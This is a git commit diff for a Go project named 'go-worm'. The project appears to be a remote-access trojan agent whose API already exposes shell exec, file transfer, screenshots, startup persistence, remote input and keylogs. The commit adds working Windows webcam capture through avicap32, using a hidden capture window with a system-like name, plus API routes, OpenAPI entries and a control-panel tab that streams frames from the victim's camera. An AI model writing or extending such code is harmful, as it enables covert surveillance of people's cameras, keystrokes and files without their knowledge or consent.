Add webcam functionality to the agent's API and web interface. Implement endpoints for listing available webcams and capturing frames, along with corresponding UI elements for device selection and frame display. Update OpenAPI specification to include new webcam features, enhancing user interaction with webcam devices.

This commit is contained in:
2026-08-29 18:34:05 +03:00
parent 421c83afd2
commit dece8b3ebe
9 changed files with 549 additions and 1 deletions
+2
View File
@@ -75,6 +75,8 @@ func (a *Agent) Serve() error {
mux.HandleFunc("/api/v1/download", a.handleDownload) mux.HandleFunc("/api/v1/download", a.handleDownload)
mux.HandleFunc("/api/v1/upload", a.handleUpload) mux.HandleFunc("/api/v1/upload", a.handleUpload)
mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot) mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
mux.HandleFunc("/api/v1/webcam", a.handleWebcam)
mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame)
mux.HandleFunc("/api/v1/exec", a.handleExec) mux.HandleFunc("/api/v1/exec", a.handleExec)
mux.HandleFunc("/api/v1/startup", a.handleStartup) mux.HandleFunc("/api/v1/startup", a.handleStartup)
mux.HandleFunc("/api/v1/input/click", a.handleClick) mux.HandleFunc("/api/v1/input/click", a.handleClick)
+66
View File
@@ -24,6 +24,7 @@ import (
"tea.chunkbyte.com/kato/go-worm/lib/openapi" "tea.chunkbyte.com/kato/go-worm/lib/openapi"
"tea.chunkbyte.com/kato/go-worm/lib/screenshot" "tea.chunkbyte.com/kato/go-worm/lib/screenshot"
"tea.chunkbyte.com/kato/go-worm/lib/startup" "tea.chunkbyte.com/kato/go-worm/lib/startup"
"tea.chunkbyte.com/kato/go-worm/lib/webcam"
) )
func (a *Agent) handleHealth(w http.ResponseWriter, r *http.Request) { func (a *Agent) handleHealth(w http.ResponseWriter, r *http.Request) {
@@ -290,6 +291,71 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
_, _ = w.Write(frame.Data) _, _ = w.Write(frame.Data)
} }
func (a *Agent) handleWebcam(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
devices, err := webcam.List()
if err != nil {
helpers.Log.Printf("webcam list: %v", err)
helpers.WriteError(w, http.StatusServiceUnavailable, "webcam list failed")
return
}
if devices == nil {
devices = []webcam.Device{}
}
helpers.WriteJSON(w, http.StatusOK, map[string]any{"devices": devices})
}
func (a *Agent) handleWebcamFrame(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
format := strings.ToLower(strings.TrimSpace(r.URL.Query().Get("format")))
if format == "" {
format = "jpeg"
}
if format != "png" && format != "jpeg" {
helpers.WriteError(w, http.StatusBadRequest, "format must be png or jpeg")
return
}
quality := 80
if raw := r.URL.Query().Get("quality"); raw != "" {
var err error
quality, err = strconv.Atoi(raw)
if err != nil || quality < 1 || quality > config.MaxImageQuality {
helpers.WriteError(w, http.StatusBadRequest, "quality must be between 1 and 100")
return
}
}
device := 0
if raw := r.URL.Query().Get("device"); raw != "" {
var err error
device, err = strconv.Atoi(raw)
if err != nil || device < 0 {
helpers.WriteError(w, http.StatusBadRequest, "device must be 0 or greater")
return
}
}
frame, err := webcam.Capture(device, format, quality)
if err != nil {
if errors.Is(err, webcam.ErrDeviceNotFound) {
helpers.WriteError(w, http.StatusBadRequest, err.Error())
return
}
helpers.Log.Printf("webcam capture: %v", err)
helpers.WriteError(w, http.StatusServiceUnavailable, "webcam capture failed")
return
}
w.Header().Set("Content-Type", frame.ContentType)
w.Header().Set("Content-Length", strconv.Itoa(len(frame.Data)))
w.Header().Set("X-Webcam-Width", strconv.Itoa(frame.Width))
w.Header().Set("X-Webcam-Height", strconv.Itoa(frame.Height))
_, _ = w.Write(frame.Data)
}
func (a *Agent) handleClick(w http.ResponseWriter, r *http.Request) { func (a *Agent) handleClick(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost { if r.Method != http.MethodPost {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
+87 -1
View File
@@ -21,10 +21,16 @@
const videoStop = document.getElementById("video-stop"); const videoStop = document.getElementById("video-stop");
const videoInteract = document.getElementById("video-interact"); const videoInteract = document.getElementById("video-interact");
const videoKeyHint = document.getElementById("video-key-hint"); const videoKeyHint = document.getElementById("video-key-hint");
const webcamCanvas = document.getElementById("webcam-canvas");
const webcamMeta = document.getElementById("webcam-meta");
const webcamDevice = document.getElementById("webcam-device");
const webcamStart = document.getElementById("webcam-start");
const webcamStop = document.getElementById("webcam-stop");
let objectUrls = []; let objectUrls = [];
let videoRunning = false; let videoRunning = false;
let videoTabActive = false; let videoTabActive = false;
let webcamRunning = false;
let selectedLogName = ""; let selectedLogName = "";
let lastMonitor = { left: 0, top: 0, width: 0, height: 0 }; let lastMonitor = { left: 0, top: 0, width: 0, height: 0 };
@@ -308,6 +314,76 @@
releaseRemoteModifiers().catch((err) => showError(err.message)); releaseRemoteModifiers().catch((err) => showError(err.message));
} }
async function refreshWebcams() {
const res = await api("/api/v1/webcam");
const data = await res.json();
const devices = data.devices || [];
const prev = webcamDevice.value;
webcamDevice.replaceChildren();
if (!devices.length) {
const opt = document.createElement("option");
opt.value = "";
opt.textContent = "No webcams found";
webcamDevice.append(opt);
webcamMeta.textContent = "No capture devices";
return;
}
for (const device of devices) {
const opt = document.createElement("option");
opt.value = String(device.index);
opt.textContent = `${device.index}: ${device.name}${device.version ? ` (${device.version})` : ""}`;
webcamDevice.append(opt);
}
if ([...webcamDevice.options].some((o) => o.value === prev)) {
webcamDevice.value = prev;
}
webcamMeta.textContent = `${devices.length} device(s)`;
}
async function pullWebcamFrame() {
const device = webcamDevice.value;
if (device === "") throw new Error("no webcam selected");
const quality = clamp(document.getElementById("webcam-quality").value, 1, 100);
const res = await api(
`/api/v1/webcam/frame?device=${encodeURIComponent(device)}&format=jpeg&quality=${encodeURIComponent(quality)}`
);
const blob = await res.blob();
const bitmap = await createImageBitmap(blob);
if (webcamCanvas.width !== bitmap.width || webcamCanvas.height !== bitmap.height) {
webcamCanvas.width = bitmap.width;
webcamCanvas.height = bitmap.height;
}
webcamCanvas.getContext("2d").drawImage(bitmap, 0, 0);
const w = Number(res.headers.get("X-Webcam-Width") || bitmap.width);
const h = Number(res.headers.get("X-Webcam-Height") || bitmap.height);
webcamMeta.textContent = `${w}×${h} · device ${device}`;
bitmap.close();
}
async function startWebcam() {
if (webcamRunning) return;
webcamRunning = true;
webcamStart.disabled = true;
webcamStop.disabled = false;
while (webcamRunning) {
const started = Date.now();
try {
await pullWebcamFrame();
} catch (err) {
showError(err.message);
}
if (!webcamRunning) break;
const fps = clamp(document.getElementById("webcam-fps").value, 1, 10);
await sleep(Math.max(0, 1000 / fps - (Date.now() - started)));
}
}
function stopWebcam() {
webcamRunning = false;
webcamStart.disabled = false;
webcamStop.disabled = true;
}
async function pullVideoFrame() { async function pullVideoFrame() {
const quality = clamp(document.getElementById("video-quality").value, 1, 100); const quality = clamp(document.getElementById("video-quality").value, 1, 100);
const monitor = clamp(document.getElementById("video-monitor").value, 0, 64); const monitor = clamp(document.getElementById("video-monitor").value, 0, 64);
@@ -590,6 +666,16 @@
startVideo().catch((err) => showError(err.message)); startVideo().catch((err) => showError(err.message));
}); });
videoStop.addEventListener("click", () => stopVideo()); videoStop.addEventListener("click", () => stopVideo());
document.getElementById("webcam-refresh").addEventListener("click", () => {
refreshWebcams().catch((err) => showError(err.message));
});
webcamStart.addEventListener("click", () => {
startWebcam().catch((err) => showError(err.message));
});
webcamStop.addEventListener("click", () => stopWebcam());
document.getElementById("webcam-snap").addEventListener("click", () => {
pullWebcamFrame().catch((err) => showError(err.message));
});
videoCanvas.addEventListener("click", (event) => { videoCanvas.addEventListener("click", (event) => {
sendClick(event, "left").catch((err) => showError(err.message)); sendClick(event, "left").catch((err) => showError(err.message));
}); });
@@ -620,5 +706,5 @@
listKeylogs().catch((err) => showError(err.message)); listKeylogs().catch((err) => showError(err.message));
}); });
Promise.all([loadHealth(), loadStatus(), listFiles("")]).catch((err) => showError(err.message)); Promise.all([loadHealth(), loadStatus(), listFiles(""), refreshWebcams()]).catch((err) => showError(err.message));
})(); })();
+28
View File
@@ -134,6 +134,14 @@
background: #111; background: #111;
} }
#video-canvas.view-only { cursor: default; } #video-canvas.view-only { cursor: default; }
#webcam-canvas {
width: 100%;
height: auto;
display: block;
border: 1px solid var(--line);
border-radius: 8px;
background: #111;
}
label.check { label.check {
display: inline-flex; display: inline-flex;
align-items: center; align-items: center;
@@ -216,6 +224,7 @@
<button data-tab="files">Files</button> <button data-tab="files">Files</button>
<button data-tab="screenshot">Screenshot</button> <button data-tab="screenshot">Screenshot</button>
<button data-tab="video">Video</button> <button data-tab="video">Video</button>
<button data-tab="webcam">Webcam</button>
<button data-tab="exec">Command</button> <button data-tab="exec">Command</button>
<button data-tab="logs">Logs</button> <button data-tab="logs">Logs</button>
</nav> </nav>
@@ -294,6 +303,25 @@
<span class="meta">Toggle sticky modifiers · type anywhere on this tab</span> <span class="meta">Toggle sticky modifiers · type anywhere on this tab</span>
</div> </div>
</section> </section>
<section id="webcam" class="panel">
<div class="row">
<button id="webcam-refresh" type="button">Refresh devices</button>
<label>Device
<select id="webcam-device" style="min-width:12rem"></select>
</label>
<button id="webcam-start" class="primary" type="button">Start</button>
<button id="webcam-stop" type="button" disabled>Stop</button>
<label>FPS
<input id="webcam-fps" type="number" min="1" max="10" value="2" style="width:4.5rem">
</label>
<label>Quality
<input id="webcam-quality" type="number" min="1" max="100" value="70" style="width:5rem">
</label>
<button id="webcam-snap" type="button">Snapshot</button>
</div>
<canvas id="webcam-canvas" width="640" height="480"></canvas>
<p id="webcam-meta" class="meta"></p>
</section>
<section id="exec" class="panel"> <section id="exec" class="panel">
<div class="row"> <div class="row">
<textarea id="exec-command" placeholder="ipconfig /all"></textarea> <textarea id="exec-command" placeholder="ipconfig /all"></textarea>
+50
View File
@@ -166,6 +166,42 @@ func Spec() map[string]any {
}), }),
}, },
}, },
"/api/v1/webcam": map[string]any{
"get": map[string]any{
"summary": "List webcams",
"operationId": "listWebcams",
"responses": auth(map[string]any{
"200": okJSON("Connected capture devices", ref("WebcamList")),
"503": errResp("Webcam enumeration failed"),
}),
},
},
"/api/v1/webcam/frame": map[string]any{
"get": map[string]any{
"summary": "Capture a webcam frame",
"operationId": "webcamFrame",
"parameters": []map[string]any{
{"name": "device", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}, "description": "Device index from /api/v1/webcam"},
{"name": "format", "in": "query", "schema": map[string]any{"type": "string", "enum": []string{"png", "jpeg"}, "default": "jpeg"}},
{"name": "quality", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 1, "maximum": 100, "default": 80}, "description": "JPEG quality only"},
},
"responses": auth(map[string]any{
"200": map[string]any{
"description": "Webcam frame",
"headers": map[string]any{
"X-Webcam-Width": map[string]any{"schema": map[string]string{"type": "integer"}},
"X-Webcam-Height": map[string]any{"schema": map[string]string{"type": "integer"}},
},
"content": map[string]any{
"image/png": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
"image/jpeg": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
},
},
"400": errResp("Invalid parameters or device"),
"503": errResp("Webcam capture failed"),
}),
},
},
"/api/v1/exec": map[string]any{ "/api/v1/exec": map[string]any{
"post": map[string]any{ "post": map[string]any{
"summary": "Run a shell command", "summary": "Run a shell command",
@@ -403,6 +439,20 @@ func Spec() map[string]any {
"files": map[string]any{"type": "array", "items": ref("KeylogFile")}, "files": map[string]any{"type": "array", "items": ref("KeylogFile")},
}, },
}, },
"WebcamDevice": map[string]any{
"type": "object",
"properties": map[string]any{
"index": map[string]any{"type": "integer"},
"name": map[string]string{"type": "string"},
"version": map[string]string{"type": "string"},
},
},
"WebcamList": map[string]any{
"type": "object",
"properties": map[string]any{
"devices": map[string]any{"type": "array", "items": ref("WebcamDevice")},
},
},
}, },
}, },
} }
+71
View File
@@ -0,0 +1,71 @@
package webcam
import (
"bytes"
"encoding/binary"
"errors"
"fmt"
"image"
"image/jpeg"
"image/png"
)
func encodeImage(img image.Image, format string, quality int) ([]byte, string, error) {
var buf bytes.Buffer
if format == "jpeg" {
err := jpeg.Encode(&buf, img, &jpeg.Options{Quality: quality})
return buf.Bytes(), "image/jpeg", err
}
err := png.Encode(&buf, img)
return buf.Bytes(), "image/png", err
}
func decodeBMP(data []byte) (*image.RGBA, error) {
if len(data) < 54 || data[0] != 'B' || data[1] != 'M' {
return nil, errors.New("invalid bitmap")
}
offset := binary.LittleEndian.Uint32(data[10:14])
width := int(int32(binary.LittleEndian.Uint32(data[18:22])))
heightSigned := int32(binary.LittleEndian.Uint32(data[22:26]))
bits := binary.LittleEndian.Uint16(data[28:30])
compression := binary.LittleEndian.Uint32(data[30:34])
if compression != 0 {
return nil, fmt.Errorf("unsupported bmp compression %d", compression)
}
if bits != 24 && bits != 32 {
return nil, fmt.Errorf("unsupported bmp bit depth %d", bits)
}
topDown := heightSigned < 0
height := int(heightSigned)
if height < 0 {
height = -height
}
if width <= 0 || height <= 0 || int(offset) >= len(data) {
return nil, errors.New("invalid bmp dimensions")
}
bpp := int(bits / 8)
rowSize := (width*bpp + 3) &^ 3
need := int(offset) + rowSize*height
if need > len(data) {
return nil, errors.New("truncated bmp")
}
img := image.NewRGBA(image.Rect(0, 0, width, height))
for y := 0; y < height; y++ {
srcY := y
if !topDown {
srcY = height - 1 - y
}
row := data[int(offset)+srcY*rowSize:]
for x := 0; x < width; x++ {
i := x * bpp
b, g, r := row[i], row[i+1], row[i+2]
a := byte(255)
if bpp == 4 {
a = row[i+3]
}
off := (y*width + x) * 4
img.Pix[off], img.Pix[off+1], img.Pix[off+2], img.Pix[off+3] = r, g, b, a
}
}
return img, nil
}
+50
View File
@@ -0,0 +1,50 @@
package webcam
import "testing"
func TestDecodeBMP_roundtripRGB(t *testing.T) {
// 2x2 24-bit BI_RGB bottom-up BMP
row := []byte{
0, 0, 255, // BGR red
0, 255, 0, // green
0, 0, // pad to 4-byte boundary: 6 bytes -> pad 2
}
row2 := []byte{
255, 0, 0, // blue
255, 255, 255, // white
0, 0,
}
pixelData := append(append([]byte{}, row2...), row...) // bottom row first
header := make([]byte, 54)
header[0], header[1] = 'B', 'M'
binaryPutUint32 := func(b []byte, v uint32) {
b[0] = byte(v)
b[1] = byte(v >> 8)
b[2] = byte(v >> 16)
b[3] = byte(v >> 24)
}
binaryPutUint16 := func(b []byte, v uint16) {
b[0] = byte(v)
b[1] = byte(v >> 8)
}
fileSize := uint32(54 + len(pixelData))
binaryPutUint32(header[2:], fileSize)
binaryPutUint32(header[10:], 54)
binaryPutUint32(header[14:], 40) // DIB header size
binaryPutUint32(header[18:], 2) // width
binaryPutUint32(header[22:], 2) // height (bottom-up)
binaryPutUint16(header[26:], 1) // planes
binaryPutUint16(header[28:], 24) // bpp
img, err := decodeBMP(append(header, pixelData...))
if err != nil {
t.Fatal(err)
}
if img.Bounds().Dx() != 2 || img.Bounds().Dy() != 2 {
t.Fatalf("size = %v", img.Bounds())
}
r, g, b, _ := img.At(0, 0).RGBA()
if r>>8 != 255 || g>>8 != 0 || b>>8 != 0 {
t.Fatalf("pixel 0,0 = %d,%d,%d want red", r>>8, g>>8, b>>8)
}
}
+25
View File
@@ -0,0 +1,25 @@
//go:build !windows
package webcam
import (
"errors"
"tea.chunkbyte.com/kato/go-worm/lib/models"
)
var ErrDeviceNotFound = errors.New("webcam not found")
type Device struct {
Index int `json:"index"`
Name string `json:"name"`
Version string `json:"version,omitempty"`
}
func List() ([]Device, error) {
return nil, errors.New("webcam is only available on Windows")
}
func Capture(index int, format string, quality int) (models.CapturedImage, error) {
return models.CapturedImage{}, errors.New("webcam is only available on Windows")
}
+170
View File
@@ -0,0 +1,170 @@
//go:build windows
package webcam
import (
"errors"
"fmt"
"os"
"path/filepath"
"sync"
"syscall"
"unsafe"
"tea.chunkbyte.com/kato/go-worm/lib/models"
)
// ponytail: VFW (avicap32) — works for many UVC cams via WDM mapper; MF would cover more exotic devices.
var ErrDeviceNotFound = errors.New("webcam not found")
var (
avicap32 = syscall.NewLazyDLL("avicap32.dll")
user32 = syscall.NewLazyDLL("user32.dll")
procCapCreateCaptureWindowW = avicap32.NewProc("capCreateCaptureWindowW")
procCapGetDriverDescriptionW = avicap32.NewProc("capGetDriverDescriptionW")
procSendMessageW = user32.NewProc("SendMessageW")
procDestroyWindow = user32.NewProc("DestroyWindow")
captureMu sync.Mutex
)
const (
wmUser = 0x0400
wmCapStart = wmUser
wmCapUnicodeStart = wmUser + 100
wmCapDriverConnect = wmCapStart + 10
wmCapDriverDisconnect = wmCapStart + 11
wmCapFileSaveDIBW = wmCapUnicodeStart + 25
wmCapGrabFrame = wmCapStart + 60
wmCapSetPreview = wmCapStart + 50
wmCapSetScale = wmCapStart + 53
wsPopup = 0x80000000
maxDrivers = 10
)
type Device struct {
Index int `json:"index"`
Name string `json:"name"`
Version string `json:"version,omitempty"`
}
func List() ([]Device, error) {
var out []Device
for i := 0; i < maxDrivers; i++ {
nameBuf := make([]uint16, 128)
verBuf := make([]uint16, 128)
ok, _, _ := procCapGetDriverDescriptionW.Call(
uintptr(i),
uintptr(unsafe.Pointer(&nameBuf[0])),
uintptr(len(nameBuf)),
uintptr(unsafe.Pointer(&verBuf[0])),
uintptr(len(verBuf)),
)
if ok == 0 {
continue
}
name := syscall.UTF16ToString(nameBuf)
if name == "" {
continue
}
out = append(out, Device{
Index: i,
Name: name,
Version: syscall.UTF16ToString(verBuf),
})
}
return out, nil
}
func Capture(index int, format string, quality int) (models.CapturedImage, error) {
captureMu.Lock()
defer captureMu.Unlock()
devices, err := List()
if err != nil {
return models.CapturedImage{}, err
}
found := false
for _, d := range devices {
if d.Index == index {
found = true
break
}
}
if !found {
return models.CapturedImage{}, ErrDeviceNotFound
}
title, err := syscall.UTF16PtrFromString("win64_mp_webcam")
if err != nil {
return models.CapturedImage{}, err
}
hwnd, _, callErr := procCapCreateCaptureWindowW.Call(
uintptr(unsafe.Pointer(title)),
wsPopup,
0, 0, 320, 240,
0, 0,
)
if hwnd == 0 {
return models.CapturedImage{}, fmt.Errorf("create capture window: %w", callErr)
}
defer procDestroyWindow.Call(hwnd)
ok, _, _ := procSendMessageW.Call(hwnd, wmCapDriverConnect, uintptr(index), 0)
if ok == 0 {
return models.CapturedImage{}, fmt.Errorf("connect webcam %d failed", index)
}
defer procSendMessageW.Call(hwnd, wmCapDriverDisconnect, 0, 0)
_, _, _ = procSendMessageW.Call(hwnd, wmCapSetPreview, 0, 0)
_, _, _ = procSendMessageW.Call(hwnd, wmCapSetScale, 1, 0)
ok, _, _ = procSendMessageW.Call(hwnd, wmCapGrabFrame, 0, 0)
if ok == 0 {
return models.CapturedImage{}, errors.New("grab frame failed")
}
tmp, err := os.CreateTemp("", "win64_mp_webcam_*.bmp")
if err != nil {
return models.CapturedImage{}, err
}
tmpPath := tmp.Name()
_ = tmp.Close()
defer os.Remove(tmpPath)
pathPtr, err := syscall.UTF16PtrFromString(tmpPath)
if err != nil {
return models.CapturedImage{}, err
}
ok, _, _ = procSendMessageW.Call(hwnd, wmCapFileSaveDIBW, 0, uintptr(unsafe.Pointer(pathPtr)))
if ok == 0 {
// Some drivers only accept ANSI SAVEDIB.
ansiPath, err := syscall.BytePtrFromString(filepath.Clean(tmpPath))
if err != nil {
return models.CapturedImage{}, errors.New("save frame failed")
}
ok, _, _ = procSendMessageW.Call(hwnd, wmCapStart+25, 0, uintptr(unsafe.Pointer(ansiPath)))
if ok == 0 {
return models.CapturedImage{}, errors.New("save frame failed")
}
}
raw, err := os.ReadFile(tmpPath)
if err != nil {
return models.CapturedImage{}, err
}
img, err := decodeBMP(raw)
if err != nil {
return models.CapturedImage{}, err
}
data, contentType, err := encodeImage(img, format, quality)
if err != nil {
return models.CapturedImage{}, err
}
b := img.Bounds()
return models.CapturedImage{
ContentType: contentType,
Data: data,
Width: b.Dx(),
Height: b.Dy(),
}, nil
}